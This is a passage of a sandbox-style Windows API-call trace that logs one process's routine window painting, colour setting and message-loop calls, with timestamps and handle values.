(hdc=0x1e0106e1) returned 1 [0155.345] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.345] CreateSolidBrush (color=0x323533) returned 0xe100628 [0155.345] FillRect (hDC=0x1e0106e1, lprc=0x19e044, hbr=0xe100628) returned 1 [0155.345] DeleteObject (ho=0xe100628) returned 1 [0155.345] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.345] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.345] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.345] GetSystemMetrics (nIndex=42) returned 0 [0155.345] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.345] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.345] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.346] SaveDC (hdc=0x1e0106e1) returned 1 [0155.346] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.346] CreateSolidBrush (color=0x323533) returned 0xf100628 [0155.346] FillRect (hDC=0x1e0106e1, lprc=0x19dfe4, hbr=0xf100628) returned 1 [0155.346] DeleteObject (ho=0xf100628) returned 1 [0155.346] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.346] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.346] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.346] GetSystemMetrics (nIndex=42) returned 0 [0155.346] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.346] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.347] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.347] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.347] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.347] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.347] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.347] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.348] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.348] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.348] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.348] GetSystemMetrics (nIndex=42) returned 0 [0155.348] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.348] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.348] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.348] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.348] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.348] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.348] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.348] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.349] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.349] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.349] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.349] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.349] SaveDC (hdc=0x1e0106e1) returned 1 [0155.349] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.349] CreateSolidBrush (color=0x323533) returned 0x11100628 [0155.349] FillRect (hDC=0x1e0106e1, lprc=0x19dfe4, hbr=0x11100628) returned 1 [0155.349] DeleteObject (ho=0x11100628) returned 1 [0155.349] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.349] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.349] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.349] GetSystemMetrics (nIndex=42) returned 0 [0155.349] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.349] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.350] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.350] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.350] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.350] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.350] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.350] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.351] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.351] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.351] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.351] GetSystemMetrics (nIndex=42) returned 0 [0155.351] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.351] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.351] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.351] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.351] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.351] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.351] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.351] SaveDC (hdc=0x1e0106e1) returned 1 [0155.351] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.352] CreateSolidBrush (color=0x323533) returned 0x12100628 [0155.352] FillRect (hDC=0x1e0106e1, lprc=0x19e044, hbr=0x12100628) returned 1 [0155.352] DeleteObject (ho=0x12100628) returned 1 [0155.352] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.352] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.352] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.352] GetSystemMetrics (nIndex=42) returned 0 [0155.352] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.352] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.352] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.352] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.352] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.352] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.352] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.352] SaveDC (hdc=0x1e0106e1) returned 1 [0155.353] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.353] CreateSolidBrush (color=0x323533) returned 0x13100628 [0155.353] FillRect (hDC=0x1e0106e1, lprc=0x19dfe4, hbr=0x13100628) returned 1 [0155.353] DeleteObject (ho=0x13100628) returned 1 [0155.353] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.353] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.353] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.354] GetSystemMetrics (nIndex=42) returned 0 [0155.354] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.354] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.354] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.354] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.354] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.355] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.355] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.355] GetStockObject (i=5) returned 0x900015 [0155.355] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.355] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e8d4 | out: lpRect=0x19e8d4) returned 1 [0155.355] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0155.355] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.356] GetSystemMetrics (nIndex=42) returned 0 [0155.356] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e7b4, nMaxCount=1 | out: lpString="") returned 0 [0155.356] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e7b4) returned 0x0 [0155.356] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e7dc | out: lpRect=0x19e7dc) returned 1 [0155.356] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.356] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.356] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.356] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.356] SaveDC (hdc=0x60100ce) returned 1 [0155.356] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.356] CreateSolidBrush (color=0x323533) returned 0x14100628 [0155.356] FillRect (hDC=0x60100ce, lprc=0x19e67c, hbr=0x14100628) returned 1 [0155.356] DeleteObject (ho=0x14100628) returned 1 [0155.356] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.356] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.357] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.357] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.357] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.358] GetClientRect (in: hWnd=0x20218, lpRect=0x19e8d4 | out: lpRect=0x19e8d4) returned 1 [0155.358] GetWindowTextLengthW (hWnd=0x20218) returned 0 [0155.358] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.358] GetSystemMetrics (nIndex=42) returned 0 [0155.358] GetWindowTextW (in: hWnd=0x20218, lpString=0x19e7b4, nMaxCount=1 | out: lpString="") returned 0 [0155.358] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xd, wParam=0x1, lParam=0x19e7b4) returned 0x0 [0155.358] GetClientRect (in: hWnd=0x20218, lpRect=0x19e7dc | out: lpRect=0x19e7dc) returned 1 [0155.358] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.358] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.358] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.358] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.358] SaveDC (hdc=0x60100ce) returned 1 [0155.358] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.358] CreateSolidBrush (color=0x323533) returned 0x15100628 [0155.358] FillRect (hDC=0x60100ce, lprc=0x19e67c, hbr=0x15100628) returned 1 [0155.358] DeleteObject (ho=0x15100628) returned 1 [0155.358] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.359] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.359] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.359] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.360] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.360] GetClientRect (in: hWnd=0x20220, lpRect=0x19e8d4 | out: lpRect=0x19e8d4) returned 1 [0155.360] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.360] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.360] GetSystemMetrics (nIndex=42) returned 0 [0155.360] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e7b4, nMaxCount=1 | out: lpString="") returned 0 [0155.360] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e7b4) returned 0x0 [0155.360] GetClientRect (in: hWnd=0x20220, lpRect=0x19e7dc | out: lpRect=0x19e7dc) returned 1 [0155.360] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.360] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.360] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.360] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.360] SaveDC (hdc=0x60100ce) returned 1 [0155.360] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.360] CreateSolidBrush (color=0x323533) returned 0x16100628 [0155.360] FillRect (hDC=0x60100ce, lprc=0x19e67c, hbr=0x16100628) returned 1 [0155.361] DeleteObject (ho=0x16100628) returned 1 [0155.361] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.361] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.361] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.361] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.361] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.362] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.362] GetClientRect (in: hWnd=0x20220, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.362] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.362] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.362] GetSystemMetrics (nIndex=42) returned 0 [0155.362] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.362] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.362] GetClientRect (in: hWnd=0x20220, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.362] GetCurrentObject (hdc=0x2501019f, type=0x1) returned 0xb00017 [0155.362] GetCurrentObject (hdc=0x2501019f, type=0x2) returned 0x900010 [0155.363] GetCurrentObject (hdc=0x2501019f, type=0x7) returned 0x49050719 [0155.363] GetCurrentObject (hdc=0x2501019f, type=0x6) returned 0x8a01c2 [0155.363] SaveDC (hdc=0x2501019f) returned 1 [0155.363] GetNearestColor (hdc=0x2501019f, color=0x323533) returned 0x323533 [0155.363] CreateSolidBrush (color=0x323533) returned 0x17100628 [0155.363] FillRect (hDC=0x2501019f, lprc=0x19e044, hbr=0x17100628) returned 1 [0155.363] DeleteObject (ho=0x17100628) returned 1 [0155.363] RestoreDC (hdc=0x2501019f, nSavedDC=-1) returned 1 [0155.363] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.363] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.363] GetSystemMetrics (nIndex=42) returned 0 [0155.363] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.363] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.363] GetClientRect (in: hWnd=0x20220, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.363] GetCurrentObject (hdc=0x2501019f, type=0x1) returned 0xb00017 [0155.363] GetCurrentObject (hdc=0x2501019f, type=0x2) returned 0x900010 [0155.363] GetCurrentObject (hdc=0x2501019f, type=0x7) returned 0x49050719 [0155.364] GetCurrentObject (hdc=0x2501019f, type=0x6) returned 0x8a01c2 [0155.364] SaveDC (hdc=0x2501019f) returned 1 [0155.364] GetNearestColor (hdc=0x2501019f, color=0x323533) returned 0x323533 [0155.364] CreateSolidBrush (color=0x323533) returned 0x18100628 [0155.364] FillRect (hDC=0x2501019f, lprc=0x19dfe4, hbr=0x18100628) returned 1 [0155.364] DeleteObject (ho=0x18100628) returned 1 [0155.364] RestoreDC (hdc=0x2501019f, nSavedDC=-1) returned 1 [0155.364] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.364] GetSystemMetrics (nIndex=42) returned 0 [0155.364] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.365] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.365] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.365] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.365] GetStockObject (i=5) returned 0x900015 [0155.365] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.366] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0155.366] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0155.366] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.366] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.366] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.366] GetSystemMetrics (nIndex=42) returned 0 [0155.366] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.366] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.366] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.366] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.366] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.366] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.366] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.367] SaveDC (hdc=0x10105d6) returned 1 [0155.367] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.367] CreateSolidBrush (color=0x323533) returned 0x19100628 [0155.367] FillRect (hDC=0x10105d6, lprc=0x19e044, hbr=0x19100628) returned 1 [0155.367] DeleteObject (ho=0x19100628) returned 1 [0155.367] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.367] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.367] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.367] GetSystemMetrics (nIndex=42) returned 0 [0155.367] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.367] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.367] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.367] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.367] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.367] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.367] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.367] SaveDC (hdc=0x10105d6) returned 1 [0155.368] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.368] CreateSolidBrush (color=0x323533) returned 0x1a100628 [0155.368] FillRect (hDC=0x10105d6, lprc=0x19dfe4, hbr=0x1a100628) returned 1 [0155.368] DeleteObject (ho=0x1a100628) returned 1 [0155.368] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.368] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.368] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.368] GetSystemMetrics (nIndex=42) returned 0 [0155.368] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.368] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.369] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.369] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.369] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.369] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.369] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e8d4 | out: lpRect=0x19e8d4) returned 1 [0155.369] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0155.369] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.370] GetSystemMetrics (nIndex=42) returned 0 [0155.370] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e7b4, nMaxCount=1 | out: lpString="") returned 0 [0155.370] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e7b4) returned 0x0 [0155.370] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e7dc | out: lpRect=0x19e7dc) returned 1 [0155.370] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.370] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.370] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.370] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.370] SaveDC (hdc=0x60100ce) returned 1 [0155.370] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.370] CreateSolidBrush (color=0x323533) returned 0x1b100628 [0155.370] FillRect (hDC=0x60100ce, lprc=0x19e67c, hbr=0x1b100628) returned 1 [0155.370] DeleteObject (ho=0x1b100628) returned 1 [0155.370] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.370] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.370] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.371] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.371] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.371] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.371] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.371] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.372] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.372] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e8f8 | out: lpwndpl=0x19e8f8) returned 1 [0155.372] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19ebcc) returned 0x0 [0155.372] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e8a8 | out: lpRect=0x19e8a8) returned 1 [0155.372] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e8a8 | out: lpRect=0x19e8a8) returned 1 [0155.372] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x31f, wParam=0x0, lParam=0x0) returned 0x0 [0155.372] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.372] IsWindowUnicode (hWnd=0x20232) returned 1 [0155.372] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.373] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.373] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.373] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.373] IsWindowUnicode (hWnd=0x1023e) returned 1 [0155.373] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.373] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.373] DispatchMessageW (lpMsg=0x19ee78) [0155.375] 